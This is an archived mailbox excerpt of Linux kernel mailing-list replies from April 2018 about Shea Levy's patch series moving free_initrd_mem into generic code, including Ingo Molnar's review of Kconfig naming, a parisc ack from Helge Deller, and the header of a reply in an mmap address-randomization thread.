	List-Subscribe:List-Help:List-Post:List-Archive:List-Unsubscribe:List-Id:
	MIME-Version:Message-ID:Date:References:In-Reply-To:Subject:To:From:Reply-To:
	Content-Transfer-Encoding:Content-ID:Content-Description:Resent-Date:
	Resent-From:Resent-Sender:Resent-To:Resent-Cc:Resent-Message-ID:List-Owner;
	 bh=0p0ZcKGiSCDZ6aOQwaiphEfea9iIKBST09PeZhdKwO4=; b=Vcpcygs3yPsktdd5r4AI0z3uZ
	wt21mczS9wxXPbqkSyPFwOdPK8IFdP9+EuBF2hNvoMrG4fHRqO6WAH1xspIQ4L9BwFqQwXg2AeMDf
	pQ7X+xV/4jhMBcIbNCW1cd9jYhkbBHBE3zSmz4oo+3r5gN3Llxif/xfrwyeV3Ejxz6GWsjPxiw0OW
	Dd9e9gi7801VmnbCijROG2onDjNzsKNL8PD10RME2GRnTkLWiOuEm6/4VUzhKpKcLcnvXkj905BYl
	ZCZR9Cw3681wCViILVbG2/1e0QFdsuM1Zxt3q6XDxUAy4AdBIxiiTdhIYvv7A/+AO5/aZfTxDgcxP
	ktW9dlRbg==;
Original-Received: from localhost ([127.0.0.1] helo=bombadil.infradead.org)
	by bombadil.infradead.org with esmtp (Exim 4.90_1 #2 (Red Hat Linux))
	id 1f2eYC-0004tM-So; Sun, 01 Apr 2018 15:05:44 +0000
Original-Received: from smtprelay0150.hostedemail.com ([216.40.44.150]
 helo=smtprelay.hostedemail.com)
 by bombadil.infradead.org with esmtps (Exim 4.90_1 #2 (Red Hat Linux))
 id 1f2eY8-0004rk-NN; Sun, 01 Apr 2018 15:05:42 +0000
Original-Received: from filter.hostedemail.com (clb03-v110.bra.tucows.net
 [216.40.38.60])
 by smtprelay05.hostedemail.com (Postfix) with ESMTP id CB51D1802958B;
 Sun,  1 Apr 2018 15:05:27 +0000 (UTC)
X-Session-Marker: 7368656140736865616C6576792E636F6D
X-Spam-Summary: 
X-HE-Tag: comb88_11e6e5a2a4c21
X-Filterd-Recvd-Size: 8704
Original-Received: from localhost (c-71-235-10-46.hsd1.nh.comcast.net [71.235.10.46])
 (Authenticated sender: shea@shealevy.com)
 by omf11.hostedemail.com (Postfix) with ESMTPA;
 Sun,  1 Apr 2018 15:05:22 +0000 (UTC)
In-Reply-To: <20180330111517.rrx6gs2skkgk336j@gmail.com>
X-CRM114-Version: 20100106-BlameMichelson ( TRE 0.8.0 (BSD) ) MR-646709E3 
X-CRM114-CacheID: sfid-20180401_080540_890664_0C7B2534 
X-CRM114-Status: GOOD (  18.33  )
X-Spam-Score: -0.0 (/)
X-Spam-Report: SpamAssassin version 3.4.1 on bombadil.infradead.org summary:
 Content analysis details:   (-0.0 points)
 pts rule name              description
 ---- ---------------------- --------------------------------------------------
 -0.0 RCVD_IN_DNSWL_NONE     RBL: Sender listed at http://www.dnswl.org/, no
 trust [216.40.44.150 listed in list.dnswl.org]
 -0.0 SPF_PASS               SPF: sender matches SPF record
X-BeenThere: linux-snps-arc@lists.infradead.org
X-Mailman-Version: 2.1.21
Precedence: list
List-Id: Linux on Synopsys ARC Processors <linux-snps-arc.lists.infradead.org>
List-Unsubscribe: <http://lists.infradead.org/mailman/options/linux-snps-arc>, 
 <mailto:linux-snps-arc-request@lists.infradead.org?subject=unsubscribe>
List-Archive: <http://lists.infradead.org/pipermail/linux-snps-arc/>
List-Post: <mailto:linux-snps-arc@lists.infradead.org>
List-Help: <mailto:linux-snps-arc-request@lists.infradead.org?subject=help>
List-Subscribe: <http://lists.infradead.org/mailman/listinfo/linux-snps-arc>, 
 <mailto:linux-snps-arc-request@lists.infradead.org?subject=subscribe>
Original-Sender: "linux-snps-arc" <linux-snps-arc-bounces@lists.infradead.org>
Errors-To: linux-snps-arc-bounces+gla-linux-snps-arc=m.gmane.org@lists.infradead.org
Xref: news.gmane.org gmane.linux.kernel.arc:3724 gmane.linux.ports.mips.general:64324 gmane.linux.ports.sh.devel:56794 gmane.linux.kernel:2730270 gmane.linux.ports.ia64:28792 gmane.linux.ports.hexagon:1628 gmane.linux.kernel.metag:1758 gmane.linux.ports.arm.kernel:641924 gmane.linux.ports.parisc:28466 gmane.linux.ports.alpha:4924 gmane.linux.ports.sparc:27525 gmane.linux.uml.devel:16753 gmane.linux.uml.user:15424 gmane.linux.ports.ppc64.devel:155579
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel.arc/3724>

--===============7840985626795173511==
Content-Type: multipart/signed; boundary="=-=-=";
	micalg=pgp-sha256; protocol="application/pgp-signature"

--=-=-=
Content-Type: text/plain
Content-Transfer-Encoding: quoted-printable

Hi Ingo,

Ingo Molnar <mingo@kernel.org> writes:

> * Shea Levy <shea@shealevy.com> wrote:
>
>> Now only those architectures that have custom initrd free requirements
>> need to define free_initrd_mem.
>>=20
>> Signed-off-by: Shea Levy <shea@shealevy.com>
>
> Please put the Kconfig symbol name this patch introduces both into the ti=
tle, so=20
> that people know what to grep for.
>
>> ---
>>  arch/alpha/mm/init.c      |  8 --------
>>  arch/arc/mm/init.c        |  7 -------
>>  arch/arm/Kconfig          |  1 +
>>  arch/arm64/Kconfig        |  1 +
>>  arch/blackfin/Kconfig     |  1 +
>>  arch/c6x/mm/init.c        |  7 -------
>>  arch/cris/Kconfig         |  1 +
>>  arch/frv/mm/init.c        | 11 -----------
>>  arch/h8300/mm/init.c      |  7 -------
>>  arch/hexagon/Kconfig      |  1 +
>>  arch/ia64/Kconfig         |  1 +
>>  arch/m32r/Kconfig         |  1 +
>>  arch/m32r/mm/init.c       | 11 -----------
>>  arch/m68k/mm/init.c       |  7 -------
>>  arch/metag/Kconfig        |  1 +
>>  arch/microblaze/mm/init.c |  7 -------
>>  arch/mips/Kconfig         |  1 +
>>  arch/mn10300/Kconfig      |  1 +
>>  arch/nios2/mm/init.c      |  7 -------
>>  arch/openrisc/mm/init.c   |  7 -------
>>  arch/parisc/mm/init.c     |  7 -------
>>  arch/powerpc/mm/mem.c     |  7 -------
>>  arch/riscv/mm/init.c      |  6 ------
>>  arch/s390/Kconfig         |  1 +
>>  arch/score/Kconfig        |  1 +
>>  arch/sh/mm/init.c         |  7 -------
>>  arch/sparc/Kconfig        |  1 +
>>  arch/tile/Kconfig         |  1 +
>>  arch/um/kernel/mem.c      |  7 -------
>>  arch/unicore32/Kconfig    |  1 +
>>  arch/x86/Kconfig          |  1 +
>>  arch/xtensa/Kconfig       |  1 +
>>  init/initramfs.c          |  7 +++++++
>>  usr/Kconfig               |  4 ++++
>>  34 files changed, 28 insertions(+), 113 deletions(-)
>
> Please also put it into Documentation/features/.
>

I switched this patch series (the latest revision v6 was just posted) to
using weak symbols instead of Kconfig. Does it still warrant documentation?

>
>> diff --git a/usr/Kconfig b/usr/Kconfig
>> index 43658b8a975e..7a94f6df39bf 100644
>> --- a/usr/Kconfig
>> +++ b/usr/Kconfig
>> @@ -233,3 +233,7 @@ config INITRAMFS_COMPRESSION
>>  	default ".lzma" if RD_LZMA
>>  	default ".bz2"  if RD_BZIP2
>>  	default ""
>> +
>> +config HAVE_ARCH_FREE_INITRD_MEM
>> +	bool
>> +	default n
>
> Help text would be nice, to tell arch maintainers what the purpose of thi=
s switch=20
> is.
>
> Also, a nit, I think this should be named "ARCH_HAS_FREE_INITRD_MEM", whi=
ch is the=20
> dominant pattern:
>
> triton:~/tip> git grep 'select.*ARCH' arch/x86/Kconfig* | cut -f2 | cut -=
d_ -f1-2 | sort | uniq -c | sort -n
>     ...
>       2 select ARCH_USES
>       2 select ARCH_WANTS
>       3 select ARCH_MIGHT
>       3 select ARCH_WANT
>       4 select ARCH_SUPPORTS
>       4 select ARCH_USE
>      16 select HAVE_ARCH
>      23 select ARCH_HAS
>
> It also reads nicely in English:
>
>   "arch has free_initrd_mem()"
>
> While the other makes little sense:
>
>   "have arch free_initrd_mem()"
>
> ?
>
> Thanks,
>
> 	Ingo

Thanks,
Shea

--=-=-=
Content-Type: application/pgp-signature; name="signature.asc"

-----BEGIN PGP SIGNATURE-----

iQIzBAEBCAAdFiEE6ESKvwKkwnxgMLnaXAvWlX2G/icFAlrA9TEACgkQXAvWlX2G
/ieu+w/9EljMoicXq5AAY0iiZCVMRqXrkcnMT+1jcMEtLA8mLL1ibZrYLGALlTF+
+M0+7Nn2Gs9Nfna/5Mj+IW+WiQ93nFKqKWL22tBheoM6at3oZsOtX0oBI4mB9eIT
kzwUcCpCQDXvyuVbsV6XqJkCAlpYBAFE2wquWM6DVovxW91kN8cQpP3qZGtTKMkr
DMAe4LUUbM40/dDsHu43aoFb08mCct1TLf4W/CGMxSapt+8SYow7I6w1QuTJ9NYk
zTDJuV6J2xP5x4h7zPnzKA/wBkYhMrzgiMC0o3EeKWFUSa+3yCWM+dvHFzqqaz5/
jW0FUCI3mVaJgkDcdDp41mqI69WqYfpqp9LXdEjuQXRl/m9/icJL41/91XUHEfOk
k3N6HdGi7eEQ93Qo3Yv4ohr9YlK1Ah7vPK3Zq5c69k4T+sVnk5C1k/wtUkceEfGy
mgXXL9FxfFi7LpMxEpLsr8NpgkV38H1L4wanzwJGgJAeqn+bqUbhactKwl9AO7mR
u2xDrICYqEDR6bPuPHQQaF0UrsAR0uyfUGUEnuFLlTdrfgY3cpod5D+UKYCohDCC
iWuHhKxUY0SQrq99eS9oQD5JSyhqGWF61/nDzMLJ/ApFFBURUiIiW2V4NoRNMB/N
+lyDeFwyn4ApvGm5GvQlfnkaWew/0jVqx9iihclpvw3yNRSbm1M=
=FCRP
-----END PGP SIGNATURE-----
--=-=-=--


--===============7840985626795173511==
Content-Type: text/plain; charset="us-ascii"
MIME-Version: 1.0
Content-Transfer-Encoding: 7bit
Content-Disposition: inline

_______________________________________________
linux-snps-arc mailing list
linux-snps-arc@lists.infradead.org
http://lists.infradead.org/mailman/listinfo/linux-snps-arc
--===============7840985626795173511==--



From - Thu Nov 08 21:41:15 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Ingo Molnar <mingo@kernel.org>
Newsgroups: gmane.linux.kernel.arc,gmane.linux.ports.mips.general,gmane.linux.ports.sh.devel,gmane.linux.kernel,gmane.linux.ports.ia64,gmane.linux.ports.hexagon,gmane.linux.kernel.metag,gmane.linux.ports.arm.kernel,gmane.linux.ports.parisc,gmane.linux.ports.alpha,gmane.linux.ports.sparc,gmane.linux.uml.devel,gmane.linux.uml.user,gmane.linux.ports.ppc64.devel
Subject: Re: [PATCH] Extract initrd free logic from arch-specific code.
Date: Mon, 2 Apr 2018 07:59:33 +0200
Lines: 13
Approved: news@gmane.org
Message-ID: <20180402055933.zbpyorktot2owzzu@gmail.com>
References: <20180325221853.10839-1-shea@shealevy.com>
 <20180328152714.6103-1-shea@shealevy.com>
 <20180330111517.rrx6gs2skkgk336j@gmail.com>
 <87bmf3rmq6.fsf@xps13.shealevy.com>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
Content-Transfer-Encoding: 7bit
X-Trace: blaine.gmane.org 1522648688 8351 195.159.176.226 (2 Apr 2018 05:58:08 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Mon, 2 Apr 2018 05:58:08 +0000 (UTC)
User-Agent: NeoMutt/20170609 (1.8.3)
Cc: linux-mips@linux-mips.org, linux-sh@vger.kernel.org,
 Benjamin Herrenschmidt <benh@kernel.crashing.org>,
 Linus Walleij <linus.walleij@linaro.org>, Will Deacon <will.deacon@arm.com>,
 Paul Mackerras <paulus@samba.org>, Michael Ellerman <mpe@ellerman.id.au>,
 "James E.J. Bottomley" <jejb@parisc-linux.org>,
 Christoph Hellwig <hch@infradead.org>,
 Geert Uytterhoeven <geert@linux-m68k.org>,
 Catalin Marinas <catalin.marinas@arm.com>, Matt Turner <mattst88@gmail.com>,
 Eugeniy Paltsev <Eugeniy.Paltsev@synopsys.com>,
 uclinux-h8-devel@lists.sourceforge.jp,
 Vladimir Murzin <vladimir.murzin@arm.com>, Marc Zyngier <marc.zyngier@arm.com>,
 adi-buildroot-devel@lists.sourceforge.net, Al Viro <viro@zeniv.linux.org.uk>,
 Thomas Gleixner <tglx@linutronix.de>, Richard Henderson <rth@twiddle.net>,
 linux-cris-kernel@axis.com, Greg Kroah-Hartman <gregkh@linuxfoundation.org>,
 linux-kernel@vger.kerne
To: Shea Levy <shea@shealevy.com>
Original-X-From: linux-snps-arc-bounces+gla-linux-snps-arc=m.gmane.org@lists.infradead.org Mon Apr 02 07:57:54 2018
Return-path: <linux-snps-arc-bounces+gla-linux-snps-arc=m.gmane.org@lists.infradead.org>
Envelope-to: gla-linux-snps-arc@m.gmane.org
Original-Received: from bombadil.infradead.org ([198.137.202.133])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-snps-arc-bounces+gla-linux-snps-arc=m.gmane.org@lists.infradead.org>)
	id 1f2sTV-0001m8-Sh
	for gla-linux-snps-arc@m.gmane.org; Mon, 02 Apr 2018 07:57:50 +0200
DKIM-Signature: v=1; a=rsa-sha256; q=dns/txt; c=relaxed/relaxed;
	d=lists.infradead.org; s=bombadil.20170209; h=Sender:
	Content-Transfer-Encoding:Content-Type:Cc:List-Subscribe:List-Help:List-Post:
	List-Archive:List-Unsubscribe:List-Id:In-Reply-To:MIME-Version:References:
	Message-ID:Subject:To:From:Date:Reply-To:Content-ID:Content-Description:
	Resent-Date:Resent-From:Resent-Sender:Resent-To:Resent-Cc:Resent-Message-ID:
	List-Owner; bh=VkYgcBK2fNByCPwqD7/E3jN0zq1jR4T7h/HLzgu7M7U=; b=D4/yJJEORL4qmV
	7uhEOHczNCI9R2VA8yIl6PeJBiiqZUsCSO9dF8GOrlzLvK+GcECk/cbe05QjbSyo7M7ThQ3x2HOxe
	1HBhyTDs/CWocnvvEG2Km6q8Z7OSK3e9r93PZI4L84s7iG+jHrn05UARp+uezmUc2b+JwlRvixMc7
	b+X0oy54IGJMWBPvQKSFe/YmMv0t48O7i4ZgcX8OQ6tSy0Gqb7DdXl0qOHtO2+ugCGHhCgJMIxhvU
	flcS5oea9ZEJf3SKSUOH7O5AVYQYdnO6UE+RgOV5zYH4q6A4RRhXfXDsrJ0RC5HoeVmXWRvl7GYas
	bGiXCEAAwdD0nu9TbYNw==;
Original-Received: from localhost ([127.0.0.1] helo=bombadil.infradead.org)
	by bombadil.infradead.org with esmtp (Exim 4.90_1 #2 (Red Hat Linux))
	id 1f2sVY-0004sc-2M; Mon, 02 Apr 2018 05:59:56 +0000
Original-Received: from mail-wr0-x241.google.com ([2a00:1450:400c:c0c::241])
 by bombadil.infradead.org with esmtps (Exim 4.90_1 #2 (Red Hat Linux))
 id 1f2sVU-0004pu-8m; Mon, 02 Apr 2018 05:59:53 +0000
Original-Received: by mail-wr0-x241.google.com with SMTP id z73so12440532wrb.0;
 Sun, 01 Apr 2018 22:59:40 -0700 (PDT)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=20161025;
 h=sender:date:from:to:cc:subject:message-id:references:mime-version
 :content-disposition:in-reply-to:user-agent;
 bh=8S9j2GGiF6Hq0Ve0gp08kcpf5x+zmb5JGAyHhh8nX3A=;
 b=mRWIiq1YCiNEshVpIeud/3kWUb5WXPPOKk0dM5K2GdMhqgC1iYgkbzw4KORY0u68/m
 BetUrvTjPHbCQuuLIKCfBToMGsvegUHk8lkk1NwY/W9ysX8E4Ozl+yErcFmHhMKP7el1
 81oOjTsTsPFQRGWIWZ9u8g2saiMtCPudnxgUAnDs2q/+OSchqLb3psIdsZslYXQHB2N9
 bIDZvLjHSQZ35gtr0q0+D0y7TlYmmED6tX/4ktfdh9HeA/0uP2aPJ8m8vuGhGVFmknDl
 I0/jtIc5Uax54RYLxlnkx2p11PsjIAApq5WbSKUtrHxu8bc5b4HEqwouw1yIv6Ge0Oco
 T6Yw==
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
 d=1e100.net; s=20161025;
 h=x-gm-message-state:sender:date:from:to:cc:subject:message-id
 :references:mime-version:content-disposition:in-reply-to:user-agent;
 bh=8S9j2GGiF6Hq0Ve0gp08kcpf5x+zmb5JGAyHhh8nX3A=;
 b=I34qmWnL/bk/8k5TK9cJPyybDZC1knLKU5S/6eWg2ijwh1YM0IN2GdMsGSGd141mQD
 gcgrit4ecjmACux7r1J7tUfV+cih7dr5Chp2GYwRzBwrKbSzKd6s5szB0/8nb/RjNfld
 viJBrDLMFPL6RMLxcYbFM9CYnTgPY3jnR7wm18L7iodXOJvivnpB5RjCP1xRrl5evSCI
 LZJHCag3I0DsI3kyAyjneVGstq6XOD/geSySLvpiDOHsb4SC+hKTFUMVxG76zd2xYEd6
 X9sh2eEhKQyteSCT/PVuytNjCdAQKEMPj1r3JXUgWimd2fTD3yQAIBZKYWpzoWwgOTig
 ZUfQ==
X-Gm-Message-State: AElRT7GOPVwC5QmnDXEw8D88n4YPe+Zsg8ImztjDkygT1gu3Yu2XyA/0
 +lKtEM9a/eXH4mfbcoqUb7U=
X-Google-Smtp-Source: AIpwx48Z6vSPk6tP46uVV0AzPws5nCZTYDuU3wUxI22YLf9DkxZ6sAFmCSvkzmWvnk7tRmYxhvgrHA==
X-Received: by 10.223.152.83 with SMTP id v77mr5800519wrb.225.1522648779035;
 Sun, 01 Apr 2018 22:59:39 -0700 (PDT)
Original-Received: from gmail.com (2E8B0CD5.catv.pool.telekom.hu. [46.139.12.213])
 by smtp.gmail.com with ESMTPSA id i52sm25481354wra.82.2018.04.01.22.59.34
 (version=TLS1_2 cipher=ECDHE-RSA-CHACHA20-POLY1305 bits=256/256);
 Sun, 01 Apr 2018 22:59:38 -0700 (PDT)
Content-Disposition: inline
In-Reply-To: <87bmf3rmq6.fsf@xps13.shealevy.com>
X-CRM114-Version: 20100106-BlameMichelson ( TRE 0.8.0 (BSD) ) MR-646709E3 
X-CRM114-CacheID: sfid-20180401_225952_335776_5604C4BE 
X-CRM114-Status: GOOD (  12.47  )
X-Spam-Score: 3.3 (+++)
X-Spam-Report: SpamAssassin version 3.4.1 on bombadil.infradead.org summary:
 Content analysis details:   (3.3 points)
 pts rule name              description
 ---- ---------------------- --------------------------------------------------
 -0.0 RCVD_IN_DNSWL_NONE     RBL: Sender listed at http://www.dnswl.org/, no
 trust [2a00:1450:400c:c0c:0:0:0:241 listed in] [list.dnswl.org]
 2.8 FSL_HELO_FAKE          No description available.
 -0.0 SPF_PASS               SPF: sender matches SPF record
 0.0 FREEMAIL_FROM Sender email is commonly abused enduser mail provider
 (mingo.kernel.org[at]gmail.com)
 0.2 HEADER_FROM_DIFFERENT_DOMAINS From and EnvelopeFrom 2nd level mail
 domains are different
 -0.1 DKIM_VALID Message has at least one valid DKIM or DK signature
 0.1 DKIM_SIGNED            Message has a DKIM or DK signature,
 not necessarily valid
 0.2 FREEMAIL_FORGED_FROMDOMAIN 2nd level domains in From and EnvelopeFrom
 freemail headers are different
X-BeenThere: linux-snps-arc@lists.infradead.org
X-Mailman-Version: 2.1.21
Precedence: list
List-Id: Linux on Synopsys ARC Processors <linux-snps-arc.lists.infradead.org>
List-Unsubscribe: <http://lists.infradead.org/mailman/options/linux-snps-arc>, 
 <mailto:linux-snps-arc-request@lists.infradead.org?subject=unsubscribe>
List-Archive: <http://lists.infradead.org/pipermail/linux-snps-arc/>
List-Post: <mailto:linux-snps-arc@lists.infradead.org>
List-Help: <mailto:linux-snps-arc-request@lists.infradead.org?subject=help>
List-Subscribe: <http://lists.infradead.org/mailman/listinfo/linux-snps-arc>, 
 <mailto:linux-snps-arc-request@lists.infradead.org?subject=subscribe>
Original-Sender: "linux-snps-arc" <linux-snps-arc-bounces@lists.infradead.org>
Errors-To: linux-snps-arc-bounces+gla-linux-snps-arc=m.gmane.org@lists.infradead.org
Xref: news.gmane.org gmane.linux.kernel.arc:3725 gmane.linux.ports.mips.general:64325 gmane.linux.ports.sh.devel:56796 gmane.linux.kernel:2730460 gmane.linux.ports.ia64:28793 gmane.linux.ports.hexagon:1629 gmane.linux.kernel.metag:1759 gmane.linux.ports.arm.kernel:641951 gmane.linux.ports.parisc:28467 gmane.linux.ports.alpha:4925 gmane.linux.ports.sparc:27526 gmane.linux.uml.devel:16754 gmane.linux.uml.user:15425 gmane.linux.ports.ppc64.devel:155580
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel.arc/3725>


* Shea Levy <shea@shealevy.com> wrote:

> > Please also put it into Documentation/features/.
> 
> I switched this patch series (the latest revision v6 was just posted) to
> using weak symbols instead of Kconfig. Does it still warrant documentation?

Probably not.

Thanks,

	Ingo

From - Thu Nov 08 21:41:15 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.kernel,gmane.linux.ports.parisc
Subject: Re: [PATCH v6 13/16] parisc: Switch to generic free_initrd_mem.
Date: Mon, 2 Apr 2018 22:07:38 +0200
Lines: 34
Approved: news@gmane.org
Message-ID: <267cfdc0-d905-1f3a-e4f2-16209605fca9@gmx.de>
References: <20180329113207.30674-1-shea@shealevy.com>
 <20180401145931.7932-1-shea@shealevy.com>
 <20180401145931.7932-13-shea@shealevy.com>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=utf-8
Content-Transfer-Encoding: 7bit
X-Trace: blaine.gmane.org 1522699563 29228 195.159.176.226 (2 Apr 2018 20:06:03 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Mon, 2 Apr 2018 20:06:03 +0000 (UTC)
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:52.0) Gecko/20100101
 Thunderbird/52.5.2
Cc: "James E.J. Bottomley" <jejb@parisc-linux.org>,
        linux-parisc@vger.kernel.org
To: Shea Levy <shea@shealevy.com>, linux-riscv@lists.infradead.org,
        linux-kernel@vger.kernel.org
Original-X-From: linux-kernel-owner@vger.kernel.org Mon Apr 02 22:05:59 2018
Return-path: <linux-kernel-owner@vger.kernel.org>
Envelope-to: glk-linux-kernel-4@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-kernel-owner@vger.kernel.org>)
	id 1f35iH-0006wf-La
	for glk-linux-kernel-4@m.gmane.org; Mon, 02 Apr 2018 22:05:58 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S932420AbeDBUID (ORCPT <rfc822;glk-linux-kernel-4@m.gmane.org>);
        Mon, 2 Apr 2018 16:08:03 -0400
Original-Received: from mout.gmx.net ([212.227.15.19]:32833 "EHLO mout.gmx.net"
        rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
        id S932228AbeDBUIB (ORCPT <rfc822;linux-kernel@vger.kernel.org>);
        Mon, 2 Apr 2018 16:08:01 -0400
Original-Received: from [192.168.43.253] ([80.187.111.144]) by mail.gmx.com (mrgmx002
 [212.227.17.190]) with ESMTPSA (Nemesis) id 0MV5tl-1f2NDF3D5h-00YRNc; Mon, 02
 Apr 2018 22:07:40 +0200
In-Reply-To: <20180401145931.7932-13-shea@shealevy.com>
Content-Language: en-US
X-Provags-ID: V03:K0:mTJfkDHRlCghTunAGa8PKJv49Q2zolnIZeDbUXX4kB8/mAkMZKz
 uD/LZQWlcc9+piZn05xmC+543YmX3tKlktiR0rr8Ew8J6QpfBWUeDS1tNkEr0/RbBZdCEzj
 ojGIV6rz5pbtzGBQ8AN9J5T6Z/IdcOUNRbL8+GvTFWnnOQGqVbg8ClYdK1uJtk3GXHf3jnK
 wfgMgNMi47V/tCifl9X0A==
X-UI-Out-Filterresults: notjunk:1;V01:K0:m61davdl6pQ=:d5jKHgx49e1qZQewBhMVmF
 pvmry83xpqT/gjWULMcBwW4RffJ96lrliGMEUxl1yLgQkwlrEIocRTCKU/rp04yFcFW1yipt5
 XR+K3X1HtdrSmBbaL9AYAVFqZflfv4zTOm+eC9rlnxXGg3WoM7J8lz4SZ4nzE/DE4OGtY77B8
 DlM93mSRBAw57eo2mbvbxNk9ydZtHrG0piEGxpPGs1RtT+eYElNIleEtCHIPV9gzOrNLqhtFL
 /70yojRG1liJk9b8JJortph6MtRdBBIbKwOUgYopVPQGT9WuGxkNk5n1lrcfk9SCjMV/ZsVjD
 tuHQQ2u5AjhnZ1NvOrjlE+QJoS+Z3jfnWXLp1Q2Ys0K9+yxE2AU9FPgLqQjCAa9oTAIzB1sNS
 E5VaelrjQuVqZwZPbg6A/6LhFsct8/n/NBjrnxEbeJJgj0FT76aD66yleN4NrPXNukKoQYZai
 T9rx8QvRcJCCyiFhLmjbzmCw4SIiofPxnUNUm/m7cGPIWms32XKvBABmBFfm/qT10AuZBi5++
 uRHY+oA/hiUsNnuCL5HWn22OY2wOpQXlInt7Sa7Zx1+mjk9L7sddzLQ7tDscYJkz8HcUUIg3g
 B5tyHTRUtVLS2FAGrlJVoh7rBZYPthg3iCn8W9w4gycfQfOzvfwr+IB7uvUHKsLUqrORIW9b5
 T8GeDP9USNRFhCshCau+W0RX3QWyLVoTalbJjAn99VpNJ9u3G0RYcoZCcbP2bUwEt1pvtCfsL
 ULUXdRxXzEhHNhcMPFgpKLB0B2P1Mf0HCI0a0nrxGduyQ96sxhnQ5Uf/OiLvreKTj84jqLEA 
Original-Sender: linux-kernel-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-kernel.vger.kernel.org>
X-Mailing-List: linux-kernel@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel:2730886 gmane.linux.ports.parisc:28468
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel/2730886>

On 01.04.2018 16:59, Shea Levy wrote:
> The first patch in this series added a weakly-defined generic
> implementation, which is functionally identical to the
> architecture-specific one removed here.
> 
> Series boot-tested on RISC-V (which now uses the generic
> implementation) and x86_64 (which doesn't).
> 
> Signed-off-by: Shea Levy <shea@shealevy.com>

Acked-by: Helge Deller <deller@gmx.de> # parisc

> ---
>  arch/parisc/mm/init.c | 7 -------
>  1 file changed, 7 deletions(-)
> 
> diff --git a/arch/parisc/mm/init.c b/arch/parisc/mm/init.c
> index cab32ee824d2..3643399230f3 100644
> --- a/arch/parisc/mm/init.c
> +++ b/arch/parisc/mm/init.c
> @@ -932,10 +932,3 @@ void flush_tlb_all(void)
>  	spin_unlock(&sid_lock);
>  }
>  #endif
> -
> -#ifdef CONFIG_BLK_DEV_INITRD
> -void free_initrd_mem(unsigned long start, unsigned long end)
> -{
> -	free_reserved_area((void *)start, (void *)end, -1, "initrd");
> -}
> -#endif
> 



From - Thu Nov 08 21:41:15 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Ilya Smith <blackzert@gmail.com>
Newsgroups: gmane.linux.kernel.arc,gmane.linux.ports.mips.general,gmane.linux.ports.sh.devel,gmane.linux.kernel.mm,gmane.linux.ports.sparc,gmane.linux.ports.ia64,gmane.linux.ports.alpha,gmane.linux.ports.parisc,gmane.linux.kernel,gmane.linux.kernel.metag,gmane.linux.ports.ppc64.devel
Subject: Re: [RFC PATCH v2 0/2] Randomization of address chosen by mmap.
Date: Tue, 3 Apr 2018 03:11:50 +0300
Lines: 27
Approved: news@gmane.org
Message-ID: <D9173B50-39D6-4EE5-AF8B-3EB50D0C9A3B@gmail.com>
References: <1521736598-12812-1-git-send-email-blackzert@gmail.com>
 <20180323124806.GA5624@bombadil.infradead.org>
 <651E0DB6-4507-4DA1-AD46-9C26ED9792A8@gmail.com>
 <20180326084650.GC5652@dhcp22.suse.cz>
 <01A133F4-27DF-4AE2-80D6-B0368BF758CD@gmail.com>
 <20180327072432.GY5652@dhcp22.suse.cz>
 <0549F29C-12FC-4401-9E85-A430BC11DA78@gmail.com>
 <CAGXu5j+XXufprMaJ9GbHxD3mZ7iqUuu60-tTMC6wo2x1puYzMQ@mail.gmail.com>
 <20180327234904.GA27734@bombadil.infradead.org>
 <20180328000025.GM1436@brightrain.aerifal.cx>
 <3908561D78D1C84285E8C5FCA982C28F7B3B8BC5@ORSMSX110.amr.corp.intel.com>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0 (Mac OS X Mail 11.2 \(3445.5.20\))
Content-Type: text/plain; charset="utf-8"
Content-Transfer-Encoding: base64
X-Trace: blaine.gmane.org 1522714270 24774 195.159.176.226 (3 Apr 2018 00:11:10 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Tue, 3 Apr 2018 00:11:10 +0000 (UTC)
Cc: Kate Stewart <kstewart@linuxfoundation.org>,
 Linux MIPS Mailing List <linux-mips@linux-mips.org>,
 Rich Felker <dalias@libc.org>, Jan Kara <jack@suse.cz>,
 linux-sh <linux-sh@vger.kernel.org>,
 Benjamin Herrenschmidt <benh@kernel.crashing.org>,
 Bhupesh Sharma <bhsharma@redhat.com>,
 Heiko Carstens <heiko.carstens@de.ibm.com>, Michal Hocko <mhocko@kernel.org>,
 Linux-MM <linux-mm@kvack.org>, Paul Mackerras <paulus@samba.org>,
 Deepa Dinamani <deepa.kernel@gmail.com>, "H. Peter Anvin" <hpa@zytor.com>,
 sparclinux <sparclinux@vger.kernel.org>,
 "linux-ia64@vger.kernel.org" <linux-ia64@vger.kernel.org>, "Williams,
 Dan J" <dan.j.williams@intel.com>, Andrea Arcangeli <aarcange@redhat.com>,
 linux-s390 <linux-s390@vger.kernel.org>,
 Yoshinori Sato <ysato@users.sourceforge.jp>,
